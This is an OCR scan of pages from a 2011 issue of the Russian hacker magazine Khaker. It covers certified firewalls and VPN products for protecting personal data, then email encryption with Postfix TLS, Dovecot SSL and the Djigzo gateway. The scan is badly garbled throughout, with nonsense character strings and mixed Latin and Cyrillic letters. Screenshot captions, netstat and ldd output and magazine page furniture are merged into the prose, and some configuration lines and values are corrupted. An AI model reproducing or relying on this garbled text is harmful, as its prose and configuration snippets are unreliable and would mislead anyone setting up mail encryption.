Л)'бЛIIKЗЦIIIIIЫПruttHHЫX 1 УЦ Yif'Net ctptМфitКЭfOI (aд,t.IHHHCТpЭJOPOI, ЛOЛioЗOIЗftлt li, ЦIОСС·

8 U111

позволяет полностью контролировать подключение и отключение

любых устройств. Для чего нужны локальные СЗИ НСД? Этот воnрос волнует многих

ViPNet Coordlnator {Linwr.)- f10ЛHOфjo't!IЩIIOH3ЛioHЫЙ nporpa~tMHЫЙ C8PitP 33ЩIIЩIIHHOЙ CI!TII ViPNet устанэаrшвэемый на ОС llnux сАДРам н 2.4 2131 -2 6.2126 (Aitcтplt6J'ПIIW RedHat Suse \\дР ) 8 зае.исш.tоа\1 от нacrpoeкViPNet Coordlnator может выnоnняn. cneдi'IDЩIIt Ф~litЩ\111 • Сер~ера IР-адресов, • ПpOKat•C8ptep3 laЩIIЩIHHblX COIДIIHIHIIIi; • Tyинenllpy!OЩero сервера (кPIImownюзa}; • ltleжceтeвoro 3\фана дnя отхрыты-. защкщеиных ресурсов и туннеnи руемыхресурсов, • Сереераэащ11щеннойnоЧТЬ1; • Oткээoycтoii'IIIIOfO сарвера эащ11щенной cern VIPNetв конфнrураЦIIН VIPNet Faitover ViPNel Cluster (Windows)

системных администраторов, которым nриходится с ними работать

Проrрэuмный коммекс

:]. В идеале, они должны ограничивать доступ к рабочему месту,

OOpallaтыta18 сетевой траф11к, nостулэюЩttй

VIPNet Cluster -зто nporpauuнoe обесnечение АЛЯ ОС WindoWs ХРМв!а/2003, VIPNet Clusщ aJO(.Qбtн 111 неасоnыаtхсетей, неnосреда~енно n одкnюченнЫJ\ к нещ.

основанное на nрннЦitnю: выеакай достулноспt" раа~редеnен•tя наrруэки. ПК

ВСе элементы кластера nредстаiF!ены 1 каw.доi11tз nодкn1011енных сете1i одним н 1 11.с же tP-aдpecou, коtорый одиовре u енно акп11ен на асех эnе м ентах кnастера. Это oбetпtЧ II Iaeт моменталь ное

на котором обрабатывается какая-либо важная информация. Не­

nерераслредеnение Ф\-141ЩНЙ 1 мастере в случае отказа ОАНоrо ИJ злементо• ПKVIPNet Ctuster nоэвомет со.эдm IIHфpaap)'К'I)'py, коtорая rapalffitl)rtt еесnере!lойность nередачи данных. до tex пор, nока хотя Оы

обходимость использования подобных средств является тяжелым

ОДIIНИЗЗЛIIо!ВнtОiкnастерарабОТОСЛОСО0 е н PeKOhltндYtTCЯIIMIТbiCOCТЭ:IIКЛЗCI'epaнelo\IHettpeJt

наследием эволюционного развития государственной системы за­

:O.ПI'UII'WТf11111Щ'IГfll'n:l

R .~тnt.~ mV\1:11\ nnr:n•r:ll\trA

u:~t~r:им:tnмt:U. llflrlll'nм~wnr:n..•ntпnnnя

щиты информации- если посмотреть на сертификаты этих средств

защиты, то будет ясно, откуда они пришли. Межсетевые экраны:

1. ССПТ-2; 2. АПКШ << Континент >>; 3. VipNet IPeгsonal Fiгewall и Office Fiгewall, VipNet Client]; 4. TгustAccess; 5. Stonegate Fiгewaii/VPN. Часть из этих решений аппаратная, часть- программная. Пре­

Компоненты

VipNet Custom (с официального сайта)

ГОСУДАРСТВО РЕКОМЕНДУЕТ Если ты работаешь в органа х государственной власти, то,

имущества и недостатки обоих вариантов ты и сам должен знать ,

скорее всего, свободы выбора средств защиты у тебя не будет­

но напомнить не помешает. Как минимум, внедрение аппаратного

чаще всего подобные решения спускаются сверху. Если его еще

решения требует некоторой переработки существующий карты

не было- не поленись и составь запрос в вышестоящий орган,

сети, что влечет за собой дополнительные расходы, в то время как

иначе может оказаться так, что твою любовно выстроенную СЗПДн

программные решения позволяют этого избежать. Аппаратные

придется разбирать, а потом еще и избегать вопросов о нецелевом

решения обычно выигрывают по быстродействию и по функциона-

использовании бюджетных средств.

132

ХАКЕР

11/154/2011


На страже переанальных данных

л у. Программные решения- это семейство

VipNet- VipNet Client VipNet Custom,

является VРN-клиентом из состава комnлекса

реализующего nрограммный

VPN, nроизводит их отечествен-

ная компания <<Инфотекс>>. В принципе, ничем не примечатель­ ные межсетевые экраны, работающие на собственном движке,

и Tгust

Access- продукт <<Кода безопасности>>. В чем между ними разница? VipNet делится на два продукта- переанальный VipNet Peгsonal Fiгewall, поддерживающий только один сетевой интерфейс, и шлюзовой VipNet Office Fiгewall, поддерживающий

КАК ПОНИЗИТЬ КЛАСС ИСПДН, ЕСЛИ У ТЕБЯ ОБРАБАТЫВАЕТСЯ БОЛЕЕ СТА ТЫСЯЧ СУБЪЕКТОВ?

несколько интерфейсов. Больше разницы между ними нет. Один

Разделить ее. Если данные хранятся физически на разных

и тот же интерфейс, один и тот же функционал. Системы центра­

серверах, то это не проблема. Другой вопрос, что в настоящий

лизованного управления нет, настройки на каждом межсетевике

момент это уже не так актуально, если только ты не планируешь

придется забивать отдельно. Возможность выгрузить конфигура­

использовать решение, не сертифицированное под К1

цию тоже не была обнаружена. Tгust

Access

же, во-первых, имеет

возможность централизованной настройки и, кроме того, реали­ зует дополнительную аутентификацию при обращении к защищае­ мым серверам- по протоколу КегЬегоs. Достаточно интересный

глянуть на сайт отечественного реселлера и уточнить этот вопрос.

продукт, но, к сожалению, я с ним работал мало, и ничего не могу

Продает их, к слову сказать,

добавить.

Safe-Line.

VРN-решения:

АППАРАТНЫЕ РЕШЕНИЯ

1. VipNet Custom; 2. АПКШ <<Континент>>.

ССПТ-2- это обычный компьютер в промышленном испол­ нении, работающий под FгeeBSD. Добраться до настроек ОС, к

Про <<Континент>> я уже говорил, так что скажу пару слов про

сожалению, нельзя. Если тебе нужен просто аппаратный межсете­

VipNet Custom. В отличие от <<Континента>>, это чисто программ-

вой зкран с хорошим быстродействием- он подходит на эту роль.

ное решение. Состоит из трех частей: серверной частичасти под

Также стоит отметить, что своих IР-адресов у него нет, поэтому при

названием VipNet Соогdiпаtог !есть версии под Windows и Liпux],

внедрении не надо будет выделять дополнительные адреса и пере­

клиентской части VipNet Client !Windows only] и программы управ­

краивать схему адресации. Настройка производится как локально,

ления !тоже только под Windows]. Программа управления тоже со­

с консоли, так и через веб-интерфейс, который предварительно

стоит из двух частей: <<Центра управления сетью>>, где генерируется

надо будет включить.

структура Сети, и <<Удостоверяющего Ключевого центра>>, в котором

АПКШ «Континент»- АПКШ расшифровывается как

происходит управление ключами и сертификатами. Сертификаты

<<аппаратно-программный комплекс шифрования>>, и да -у него

использует встроенная электронная почта, при подписи зашиф­

есть сертификат по шифрованию. Скажу даже, что это скорее VРN­

рованных сообщений. Помимо защищенной электронной почты,

решение, чем просто межсетевой экран . Он тоже представляет из

есть также защищенный мессенджер типа аськи. Несмотря на la

себя компьютер в промышленном исполнении с FгeeBSD на борту.

может быть, и благодаря:]] на довольно богатый функционал, он

Добраться до настроек ОС нам опять не дадут. Настраивать его ло­

весьма сложен в настройке и развертывании . Важно! Не пытайся

кально нельзя- только через программу управления. Возможность

настроить взаимодействие между <<Континентом>> и VipNet-oм. Не

провести некоторые диагностические операции появилась только в

получится, так как оба используют собственные проприетарные

версии

протоколы, несовместимые друг с другом . О взаимодействии со

3. Кроме функций межсетевого экрана и VPN, <<Континент>>

умеет маршрутизировать трафик.

Stonegate Fiгewaii/VPN в этой линейке выделяется тем, что это

всем прочим, думаю, можно не говорить.

Кроме описанных мною средств, есть еще много различных

продукт иностранный, но при этом сертифицировалось все произ­

вариантов, как типовых, вроде тех же фаерваллов и VРN-решений,

водство- не надо беспокоиться о продлении сертификатов, это де­

так и специализированных, вроде защищенных баз данных . Как я

лает сам производитель. Этот продукт, в отличие от отечественных

уже говорил, выбирать средства защиты нужно, исходя из бюджета,

аналогов, не создавался в расчете на сертификацию- из начально

модели угроз и собственных предпочтений.

это просто межсетевик для коммерческого применения. Это говорит

о том, что ему пришлось пережить конкурентную борьбу на мировом

БЕЗ БУМАЖКИ ТЫ БУКАШКА

рынке, так что можно надеяться на богатый функционал и удобство

После того, как выбор был сделан и техника развернута, начинается

работы. Управляется он аналогично АПКШ <<Континент>>,- только с

самое интересное- разработка необходимого па кета документов. В

помощью специальной утилиты. Однако его программа управления

общем случае, в этот пакет входят следующие документы !см. врезку].

умеет управлять довольно большим спектром оборудования­

маршрутизаторами

Cisco, PIX Fiгewall и так далее. К недостаткам

Если ты дочитал этот перечень до конца, и не умер от ужаса, то у тебя мог возникнуть вопрос: а зачем нужны два акта клас­

можно отнести стоимость- это не самое дешевое решение. Он

сификации? Ответ прост- переанальные данные относятся к

направлен, по словам производителя, больше на крупные сети.

конфиденциальной информации, а информационные системы

Касательно функций

классифицируются согласно РД <<Автоматизированные системы.

VPN: информация о встраивании криптаядра

от Крипто-РRО звучала уже неоднократно. Так что имеет смысл за-

Классификация автоматизированных систем>>. Классов автома­ тизированных систем всего

9,

но нас интересуют только

3-36

lоднопользовательская], 26 !многопользовательская с равными правами доступа], 1Д !многопользовательская с разными права ми

ЕСЛИ ТЫ РАБОТАЕШЬ В ОРГАНАХ

ГОСУДАРСТВЕННОЙ ВЛАСТИ, ТО, СКОРЕЕ ВСЕГО, СВОБОДЫ ВЫБОРА

СРЕДСТВ ЗАЩИТЫ У ТЕБЯ НЕТ ХАКЕР

11/154/2011

доступа]. Сразу скажу, у тебя, скорее всего, автоматизированная система класса 1Д: даже один компьютер, за которым работает

1

пользователь- зто тоже класс 1Д, потому что администрировани­ ем занимается системный администратор, а у пользователя прав

на администрирование системы нет la значит, права доступа­ разные] . Кроме того, отмечу, что документы с 1 по В исполняются однократно, а вот все остальные- на каждую ИСПДн в пределах организации. Но об этом мы поговорим в следующий раз. :Х:

133


SYN/ACK Сергей «grinder» Яремчук lgrinderratux.in.ua]

ШИФРУЕМ ЭЛЕКТРОННУЮ ПОЧТУ РАЗНЫМИ СПОСОБАМИ Электронная почта по-прежнему остается основ­

ным средством обмена информацией между со­ трудниками организации , но доверяя ей большие секреты, мы часто забываем об элементарных приемах защиты . Работает- ну и ладно. Серве­ ра настраиваются по умолчанию, шифрование не используется . В итоге мы сами упрощаем задачу хакеру, который при помощи снифера может перехватывать корреспонденцию . Посмотрим, как можно решить проблему.

КАК БУДЕМ ДЕЙСТВОВАТЬ? Как и боль ш и н ство со в ремен н ых сервисов, п ротоколы электронной

п очты разрабатывались для закрытой от всех сети

ARPANE T, и за да­

чи п о защите данных и сервисов из начально не ставил ось. П роблемы стали видны позднее, когда появился интернет, и проблемы эти

были д овольно убеди т ельными. Се г одня мы имеем ау т ентифика ц и­ о нн ые данн ы е и т екст, пе р е д аваемые в откр ы том ви д е, в резуль-

тате чего любой не очень умн ы й ч еловек может их п ерехватить и

п рочита т ь. После дующие изменения, вроде п ере д ачи хэ ш а вместо пароля , не сильно исправили ситуа ц ию. Мощности современ н ых компав позволяют быстро вычисли т ь па роль на основе хэша, хотя в этом д аже н ет необходимости, ведь можно вместо пароля и д ля

даль н ей ш ей ау т е н тифика ц ии ис п о л ьзова т ь хэ ш lpass-the-hash i. Е ди нс тв е н ный выход - ш и фрова н ие все г о и вся. П оставленную за д ачу можно реализовать неско ль кими с п особами. Самый простой из них- использование возможностей почтового клиента в связке

с PGP/GPG или 5/MIM E. Если клиент изначально не поддерживает одну из технологий, то сегодня доступны специальные расширения

п од любую за д ачу - Eп i gmai l , FiгeG P G, APG IAпdгoid P гivacy G u a гd l и т ак д а л ее. П о ль зовате ль са м ос т о ят ель н о ко нтр о лир уе т в се опе­ р ации: гене р ирует и в ы бирает ключи, ш ифрует и рас ш иф р овывает

сообще н ие, проверяе т электро нн ую подпись . Боль ш ой плюс такого способа: если письмо случайно попадет не по адресу, то посторонний

прочесть его не сможет. Минус: все зависит от самого п ользователя, и с открытыми ключами уж очень много мороки . Д ля уд обства при­ д е т ся нас тр о и ть се р вер ц ен т рализов а нно г о хране ния се рт иф и катов, ор г а н изовать с и с т ему их о т зыва и д ос т уп к сообщени я м в с л у ч ае отсу тс т вия пользователя. В итоге даже в относитель н о небольшой ор г аниза ц ии п ре д стоит произвести немалую рабо т у, как тех н иче­ скую , так и организа ц ионную.

Д ругой вариант защиты- ш ифрование всего SMTP/ P OPЗ/ I MA P трафика. Это снизит вероятность п р ослу ш ивания, хотя не убереже т от утечки в с л у ча е отправки др угому а д ресату. Такую в озможност ь имеют большинство п оч т овых серверо в и п о дд ержи ва ют практи­

чески все популярные сего д ня клиенты. В особо т яжел ы х случаях можно использова т ь

VPN

соедине н ие любого типа .

Кроме того , реализован ря д с п ециализированных серверов.

131,

ХАКЕР

11/154/2011


Энигма д ля сисадми н а

mc [rootegrlnder-m;ochlne):~r:JF>-ullцflgloc:tt!8piOIIWI~

гinder@gгindeг-•achine U5Г/5Ьin/ po5tfi x:

~"

/U5Г/5Ьin/po5tfix

- S file

s hared object, 15, 5t ripped

ELF 64-Ыt LSB

5hared lib5),

х 8б ·б 4 ,

Пgок~

Iep...,Hill

~IQ

- S netStllt ·llt (servers and estaЫished) roto Reev -0 Send·O Loca\ Address foreion Address State

fог GNU/linux 2. б . - $ ldd /us r /5Ьi n / po5tfi x linux-vdso.5o . 1 -> (Bx88fJ87fffd35a380&) tibpo5tfix· global. 50.1 •> / u5r/ti b/li bpo 5tf i x· gtobat . so. 1 (Gxeeee7fbecG dб78 tibpo5 tf ix· utit. 50 . 1 •> /u5 г /tib/ti bpos t f ix- uti t. so. 1 (Bx88887fbec8Ыdeee) libsst . so.8.9.8 ..> /tib/libssl.so.8.9.8 (exeeee7fbec88d988G) tibcrypto. so . е. 9. 8 s> /ti b/ libc ryp to. so. 8. 9. 8 (8x8EI807fbec854aG80) l i bsast2 . so. 2 :> /us r/lib/ tibsa sl2 . so. 2 ( ехееее7fЬесоззееее) \ibdb-4.8 . 50 :> / USГ/lib/X86 64 · linU X·Q ПU /ti bdb - 4 .8 . S O (8X8GeG7fbebffc2888) tibn5l, so . 1 •> /li.Ь/x86 64· linux - gnu/libn5l. so.1 (8x86887fbebfda8888) libre5o tv. 50. 2 ~> /tib/XB6 64 · linux - gnu/tibre5o lv . so. 2 ( exeeee7fbebfb8d688) tibc.so.б ж> /liЬ!x86 64 · tinux - gnu/libc.5o.6 (exeeee7tbebf7fвeee) tibdl. so. 2 ж> /lib/x86 64·linux·gnu/libdl . 50, 2 (8x88B87fbeЬf5f4888) tibz . so . 1 ..> /li Ь /х8 б_б4· tinux·gnu/libz. so. l (Bx88087fbebf3dc888) libpthread. 50 . е => /lib/x86_64 · tinux - gnu/libpthread. so. в (Gx88887fbeЬf 1bdBG /libб4/ld· tin ux ·ХВб· 64. so. 2 (8X88887fbec11b8EI88) ~rinder@gгindeг-r~achine - $ 1

собран с nоддержк о й

iМА

IПMIHwe соедмненми с мнrернетом

гinder@grinder-111achine

Postfix в Ubuntu уже

[]риQ

гindertgгindeг- .. chine

ver5ion 1 (SYSV), dynamica

1

•:•

в•:www

в

ер

в

в•:ss111tp

ер

в

в

ер

в

в\oca\host:ipp

ер

в

в

•:s•tP

LISТEN

ер ер

в в

в в

•:iмps •:ро рЗs

ер

в

в•:\dар

LISTEN LISTEN LISTEN

ер

в

в

ер

в

в•:1мр2

ер

в

в

LISТEN

•:ssh

LISТEN

LISТEN

•:рорз

LISТEN

LISTEN

orinder-llaehine.loc:ssh 192.168.lв.l:hylefax ерб в в [:: 1:ssh [: :] :• срб в в ipб·\Ocll\h o st:ipp [: :]:• срб е в [: :] :cnle rosoft·ds (: :]:• срб в в (::1 :\dap [: :] :• срб в в [: :] :netbios -s sn [ : :]: • r!lldertorinleг-uc.hine - s 1

С о здаем серти ф икат n о льзо в ателя в

TLS

LISTEN

ер

ESTAВLISHED

LISTEN LISTEN LISТEN

LISTEN LISTEN

Djigzo

Среди ОреnSоuгсе-nроектов наиболее активен nроект Djigzo [djigzo. coml пред с тавляющий шлюз, автоматически шифрующий всю nро­ хо дящую nочту с функциями DLP [Data Leak Pгeventionl . Как видишь,

для того, чтобы в се заработало. Желательно доnолнить их еще не­

вариантов решений много, nричем они не взаимои ск лючают друг

которыми параметрами:

гр упп ам , и nараметры внутри откомментированы. Ищем секцию, отвечающую за

TLS ,

в ней проnисан минимум настроек, достаточны х

друга.

НАСТРАИВАЕМ

TLS

В

POSTFIX

Сегодня nрактически каждый nочтовый сервер умеет использовать

TLS [Tгanspoгt Lауег Secuгityl, настроив поддержку которого, мы nолучаем возможность защитить информацию, nередавая ее по зашифрованному каналу. К том у же , nоявляются доnолнительные

возможности по аутентификации серверов и клиентов на основе сертификатов. Так как я nредnочитаю его в качестве nримера, хотя для

Postfix, то и буду nриводить Exim, Sendmail и прочи х процедура

также несложна.

Стандартный nроцесс активации TLS состоит из трех шагов: сбор­ Postfix с поддержкой SSL, генерация сертификата и включение TLS в конфигурационном файле main.cf. Узнать, собран ли Postfix с nоддержкой TLS [как и любой другой сервер! можно , заnустив "ldd 1 ка

u s г/s Ьin /postf ix" и nросмотрев сnисок прилинкованных библиотек. Е сли находим

libssl, то nересборка не nотребуется . Весь процес с Ubuntu, х отя в других дистриб у ти­

будем рассматривать на nримере

вах он отличается лишь командами пакетного менеджера . В ранних вер сиях дистрибутива для активации поддержки

было доу с тановить виртуальный nакет

TLS необходимо postfix-tls. Сейча с nро с то

даем команду:

$ sudo aptitude install postfix Далее по запросу настраиваем пакет-тиn сервера [интерн е т­ сайтl и имя системы. Мастер задаст не все воnросы, поэтому по окончании установки набираем

sudo dpkg-reconfigure postfix

и nро­

$ sudo nano /etc/postfix/ main.cf # TLS parameters # ключ и сертификат smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert.key # включение TLS smtpd_use_tls=yes # каталог для кэша сессии smtpd_tls_session_cache_database = btree:${data_directory} / smtpd_scache smtp_tls _session_cache_database = btree:${data_direct ory}/smtp_scache # когда все настроим, то снимаем комментарий, чтобы клиенты nри

аутентификации использовали только TLS

# smtpd_tls_auth_only = yes # уровень безопасности для сервера и клиента по умол чанию # в период настройки можно установить may, затем лучше заменить на encrypt или выше smtp_tls_security_level = may smtpd_tls_security_level = may # далее полезные установки журналирования и сессии smtp_tls_note_starttls_offer yes smtpd_tls_loglevel = 1 # передача полного заголовка с информацией о сертификате # smtpd_tls_received_header = yes smtpd_tls_session_cache_timeout = Збееs #tls_random_source = dev:/dev/urandom

должаем: вносим учетную запись, куда будут наnравлены системные

сообщения [для гооt и postmasteгl, задаем список доменов, которые

В целя х безопасности не мешает изменить и бан н ер, выдаваемый

будет обслуживать сервер, отказываемся от принудительной синхро­

сервером, отредактировав nараметр

низации, указываем сnисок адресов, с которых будет nриниматься

пользователям все равно, а хаке рам хлоnот добавится. Перезаnуска­

smtpd_banner. В конце концов,

почта. Остальные пункты оставляем как есть. Как вариант, все

ем сервис :

указанные nараметры можно про n исать с амостоятельно в конфиге

/etc/postfi x/mai n.cf или nри помощи postconf -е , но зто потреб уе т

$ sudo service postfix restart

некоторых дополнительных навыков.\ Еще один момент: в процессе установки будет сгенерирована

пара ключей и с амо n одписанный сертификат [которые находятся в

Дляnроверки коннектимся к 25- м у порт у.

1

etc/ssil. В принципе , их достаточно для работы сервера в небольшой

$ telnet localhost 25

организации, но чтобы все было nравильно , следует перед началом

установки Postfix правильно заполнить параметры в /etc/ss l/ openssl.

cnf.

В других случаях следует выполнить полностью процедуру ге н е­

По запросу вводим

<<e hlo localhost >> и nолучаем в ответ код ответа

се рвера, где нас интерес уе т строка <<25 0 -S TARПLS >> . Если она есть,

рации ключей и их nодписи удостоверяющим центром . Это важная

TLS поддерживается. Далее настраиваем SASL и подключаем кли­

часть nроцедуры , но она чуть выходи т за рамки

ентов. Дополнительно убедиться, что обмен данными с клиентами

с татьи, nоэтому я не

буду заострять на этом внимание, тем более что руководств в интер ­ Основной конфигурационный файл

Postfix -

main.cf- по раз­

меру относительно большой, но для удобства виз уа льно разбит по

ХАК Е Р

11/154/201 1

проис хо дит по з ашифрованном у каналу, можно при помощи

tcpdump. Postfi x

Есть еще один момент, который нужно учесть: по умолчанию

нете более чем достаточно.

работает на 25-м порту, после наших настроек принимая только Т LS ­ nодключения . Е с ли nр о в ай дер этот nорт не блокирует и пр об лем с

135


SYN/ACK

Base dlrectory wtlere to store runt111e data, base_dir • / var/ run/dovecot Protocots we want to Ье serving : 1111ар 1111aps рорЭ pop3s нn11ges1eve If you onty want to use dovecot - auth, you сап set this to • nопе • . I!Protocots • i11ap 1Мр5 ~ rotoco\s • iнр iмps рор3 рорЗs А space separ11ted tlst of IP or host addresses where to listen in for connections . ·•· listens in a\l 1Pv4 inte rfaces. " (:: 1" listens in а\ t 1Pv6 interfaces. Use · •, {:: 1" t or Hstenlng both 1Pv4 and 1Pv6.

If you Wllnt to specify ports for each service, you wi\t need to configure these settings lnside the protocol. iiiiiP/popЗ/•anagesleve { ... } section, so you c.an speci1y different port s for I l'tAP/POPЗ/IЦNAGESIEVE. Fог еха111р\е: protoco\ iiiiiiP ( listen • • :18143 ss\ _ Hsten • ":16943

"' -:е: ~?; \ ShllWilhRSI

=!",_.,. """"""·= =:-:-=,.==-_-----,

}

protoco\ рорЗ { \lsten • • : 18188 }

protocol.

мnegesieve

:1

C.•lllk-r.qtc:t

_·-

о-

{

l.isten • • : 128&8

-~::: о

... _..,.

}

l.isten • • Oist~b\e

LOGI N

coa~U~~nd

and

аН

El

Чм т lаМл Е n омск

11 ~ . "'"'"' 8wXOJI о-.

..

81

ЛредСтр

i! CneA( Tp

~

Настраиваем

Oм.nu

1S

К о ман д а

Dovecot

клиентами нет, оставляем все как есть. Но в большинстве ситуаций для защищенно го п одключения обычно выделяют отдельный SМТРS-порт

!п о умолчанию 465]. Те, кто не может с ним работать !например, клиенты с мобиль н ых телефонов], будут отсылать почту через обычное SMTP соединение . Настраивается все просто : открываем файл /etc/ postix/ masteг.cf и снимаем коммен т арий с нескольких строк:

$ sudo nano /etc/postix/master . cf smt ps in et n - - - - smt pd -о smtpd_t l s_w rappe rmod e=yes # -о s mtpd_sasl_auth_e n aЬle=yes # -о s mtp~ie nt_rest rictions=per m i~asl_ authenticated, r eject После пе р езапуска сервера у в идим, что nроелу ш ивается не т оль­ ко 25 - й, но и 465 - й порт. Итак, с от п равкой п очты разобрались, т е п ерь самое время за­ няться получе н ием.

НАСТРАИВАЕМ

--=-=== ::::.:-=-

other p\illlntext iiiUthentications untess

DOVECOT

Самыми п опулярными М ТА-серверами, обес п ечивающими п олучение

netstat по каж е т,

·-

к а ки е порты слушаются

# } # protocol рор3 { # listen * :18188 # # # активируем, возмож н о использование "мя гкого" - required ss l = yes # ключи ssl_cert_fil e = /etc/ss l /cert s/dovecot.pem ssl_key_fi l e = /et c/ssl/ pr i vat e/ dovecot.pem # ес л и ключ за щищен п арол ем, то указ ы ваем его здесь #ssl_key_password = # файл с ~оверенным серт ифика том #ssl_ca_fi le = # за n рос клие н том се рти фиката #ssl_verify_client_cert = yes #ssl_cert_user name_ field = commonName #ssl_parameters_regenerate = 168 #ssl_ cipher_ list = ALL: ! LOW: ! SS Lv2 #полезно

при

отладке

#verbose_ssl = yes

почты по протоколам Р ОРЗ и IMAP, являются Dovecot l dovecot.oгg ],

Соuгiег lc ouгieг-mta.oгg l и Cyгus lc yгusimap . oгg ] . Все о н и поддерживают

Перезагружаем сервер:

возможность шифрова н ия трафика I PO P ЗS и IMAPS], если их собрать с поддержкой соответс т вующих библио тек и затем активирова т ь нужные

$ sudo serv i ce dovecot restart

парамет ры в конфиге . Р ассмотрим подробнее процесс н а примере

Dovecot. Ст авим lк слову, в Ubuпtu доступен виртуальный пакет dovecotpostfix, п озвол я ющий быстро развернут ь почтовый сервер]:

Введенная после этого команда

netstat покажет, что слушаются пор­

ты 110/995IPOP3/S] и 143/99З I IMAP/S]. Теперь можно пробовать подклю­ читься телнетом, почтовым клиентом и посмотреть за процессом п ри

$ sudo aptitud e in st al l dovecot - pop3d dovecot-imapd

помощи

tcpdump.

Также не забываем, что , если в ор ганизации использу­

ется доступ к почтовым ящикам через веб ISquiг гe i Mail, RouпdCube, О реп В процессе генерируется пара ключей, но если нужен подпи­

WebMail и другие], его следует за щ итить при помощи НТТРS.

санный сертификат соз д аваь его придется самостоятель н о . Сервер стартует сразу после установки, но команда пetstat показывает, что

соответствующие пор т ы не п рослушиваются. Активация протоколов

ШИФРУЕМ ПОЧТУ ПРИ ПОМОЩИ

DJIGZO

Когда нет возможности изме н ения текущих настроек почтовых серве­

производится в ко н фигурационном файле, где, опять же, нужны не

ров или они нежелательны, п ридут на п омощь спе ц иальные шлюзы ,

все параметры. Н о многие бываю т полезны :

автома т ически шифрующие исходящий п очтовый трафик. Реализованы они по - разному- доступны в том числе и софтовые решения . Среди

$

sudo nano /etc/dovecot/dove cot.conf l i ste n = * pr ot ocol s = рор 3 pop3s imap imaps # nри необходимос т и можно любой друsой nорт # protocol imap { # listen = * :10143 # ssl_listen = *: 10943 #

136

ОрепSоuгсе-проектов по п улярен

Djigzo Email Eпcгyption Gateway, имею­

щий модуль DLP IData Leak Ргеvепt i оп ] используемый для п редотвраще­ ния выхода за пределы организации конфиденциальной информации. С

его помощью фильтруются номера кредитных карт, банковских счетов, больших списков адресов электронной п очты и многое другое . Ш люз можно установить на больши н стве *пiх систем, поддерживающих

Java 6

и Postfix. Проект предлагает паке т ы для Ubuпtu/DeЬiaп, RedHat/CeпtOS, исходные тексты и образы для виртуальных ма ш ин VMwaгe, Н урег-V.

ХАКЕР

11/154/2011


Энигма для сисадмина

'nlrmlnal

Dji;:z:o-Molill• Flrefox ~illll

!11Мп11P.....,g"tt!lfloК"I'P-;и~

REATE 1NOEX REATE JNOEX LTER TABLE LTER TABLE LTER TABLE LTER TABLE LTER TABLE LTER TABLE LTER TABLE LТER TABLE LТER TABLE LТER TABLE LTER TABLE CREATE SEOUENCE REATE INDEX

-

l[кд

ЖУРнал

~;~;~~. ~~~~~~~- • • • • • • • • • • • • о . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . о ...... . . . . . . . . . . . The instal1at1on has fin i shed. Po stfix shou\d now Ье aanua\ \ y configured for Djigzo. If the current postfix config (the config prio r to the insta\lation of Djigzo) shou\d not Ье ke pt i t 's best to 11ove the еха111р\е posttix config fi\es (/et c/pos t fix/djigzo-lllain.c:f and /etc/postfix/ djigzo·llaster.cf} to the corresponding postfix config fi\es. lf the current postfJ.x config cannot Ье overwritten the retevllnt changes shoutd

l1>tетру01ектw

'"Р"к•

•J

j

lompiМиiDI..PIMoi>II•IDКIM

~ ~

Ье

unua\\y

. .......

а а

-

-w-

__,_...

Orl\'1191-~

а а

.,

а _,

....

....____

--... . .

1-

.... ....

а ._

а

....

а -. а ._.

Wljtclll'"'"

о • ••••••• :

.... .... ....

а ...,

S8na10~

о -.

DеЬ-пакеты позволяют быстро установить

а

""""-

En<t)'llllonnatllil:aclon

• • • •

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ,. . . . . . . . . . . .

:о~~~!!~~~~~; .... о . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. о • • • • • • • о ...... . .

111

Edlt Global prelerences

1 ОК J

• The J.nstaHation has finished. TOIIICllt (or Jetty) shou\d now

- ~ICI·

_

LWj

~: . ~~~~~~~ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . о . . . . . . о • • • • • • о . . . . . . . . . . . . . . . :

• DJIGZD HOHE•/usr/share/dj igzo • Startiiig Djigzo аорамвае т с~ nt~кет djigzo-weь (2.1.1-1} . aking java-6-openjdk the default java

;~;~;~~~~;~~- ~1 ~~~~ ............ о .

;J.•м.дки

lQШJi:!Шhttp$:hloc.sl~844~1prel'...=б

• • • • • • :.

[)p;\.u

8 Djigza

а а

а

.... .... ....

а ...,

Настраиваем глобальные параметры работы шлюза

Djigzo

В качестве клиента вы с тупает аналогичный сервер или любая про­

Djigzo

То есть вс е, что про хо дит через

грамма, поддерживающая 5/ MIME. Вложения в виде PDF файлов могут

п о рт, где данны е обрабат ывают ся

закрываться паролем-статическим или динамиче с ким. Отправитель

се тевого порта по звол яет вместо

Pos tfi x, от правляет ся на 100 25-й Djig zo. К с лов у, использование Pos tfi x поставить и любой др угой

с ообщает параль пол уча телю любым другим способом !есть функция

п оч товый сервер, но эт о потр ебует дополнительны х усилий и вряд

автомат иче ской отправки 5М5]. Поддерживается совместная работа с

ли имеет смысл. Но ,

практи че ски любыми центрами сертификации IEJBCA, Microsoft СА] или

интерфейс, чтобы всем управля ть . Н уж но просто ук азать

внешними сервисами вроде

где искать файлы:

Verisign или Comodo. Процессом шифро­

Djigzo уже работает, ос талось настроить в еб­ Tom cat,

вания у правляют политики, настраиваемые для доменов и отдельных

у четны х записей. Также

Djigzo добавляет

к сообщениям электронную

п о дпи с ь , позволяющ у ю получателю удостовериться, что письмо от­

правлено именно этим корреспондентом . Поддерживается и технология

$ sudo nano

/etc/default/tomcatб

JAVA_OPTS="$JAVA_OPTS -Ddjigzo-web.home=/ usr/ share/djigzo-web" JAVA_OPTS="$JAVA_OPTS -Djava.awt.headless=true -Xmx256M"

DKIM IDomainKeys ldentified Mail]. Проектом предлагаются клиентские nриложения для BlackBerry и Android, используемые для отправки и получени я шифрованных сообщений через Djigzo и проверки 5/MIME

TOMCATб_SECURITY=no

подписи. Управление сервером производится при помощи про с того

димо изменить владельца:

веб-интерфейса. И главное:

Djigzo- это

В о время уста н овки ген ерируется се ртификат, у которого необ хо ­

именно шлюз , ставить его

на рабочей п оч товой с истеме не следует !nозже расскажу почем у ].

$ sudo chown

Ин ст р ук ция по ус тановке , дост у пная на сайте, хоть и расписана под

ss1Certificate.pl2

tomcatб:djigzo Lus~s hareLQjjgzo-web/ssl /

Ubuntu/DeЬian, но показывает использование исходны х текстов . С

deb-

И с польз уя за гот овк и , д обавляем НТТР5-коннектор к

и грm-пакетами nроцесс на порядок проще :

